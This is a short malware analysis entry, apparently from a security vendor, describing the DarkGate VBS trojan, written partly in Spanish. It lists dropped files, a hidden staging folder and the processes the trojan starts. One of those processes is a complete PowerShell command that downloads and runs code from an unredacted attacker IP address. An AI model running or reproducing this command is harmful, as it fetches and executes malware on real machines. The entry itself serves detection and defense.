Trojan.VBS.DARKGATE.YXEDIZ

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

• C:\kady\temp_AutoHotkey.exe
• C:\kady\AutoHotkey.exe
• C:\kady\script.ahk
• C:\kady\test.txt

Agrega los procesos siguientes:

• powershell -Command Invoke-Expression (Invoke-RestMethod -Uri '103.124.106.237/wctaehcw')
• start 'C:/kady/AutoHotkey.exe' -a 'C:/kady/script.ahk'
• attrib +h 'C:/kady/'

Crea las carpetas siguientes:

• C:/kady/

Otros detalles

Hace lo siguiente:

• The powershell script performs the following:
  • It creates a directory where it drops files:
    • C:/kady/ → attribute set to hidden
  • It connects to a URL to download malicious files:
    • {BLOCKED}.{BLOCKED}.{BLOCKED}.237/gsgqmjivmr → saved as C:/kady/temp_AutoHotkey.exe
    • {BLOCKED}.{BLOCKED}.{BLOCKED}.237/rjlcmdey → saved as C:/kady/script.ahk
    • {BLOCKED}.{BLOCKED}.{BLOCKED}.237/giibkqxo → saved as C:/kady/test.txt
  • It copies a portion of C:\kady\temp_AutoHotkey.exe and saves it as:
    • C:\kady\AutoHotkey.exe
  • It adds the following processes:
    • start 'C:/kady/AutoHotkey.exe' -a 'C:/kady/script.ahk'
    • attrib +h 'C:/kady/'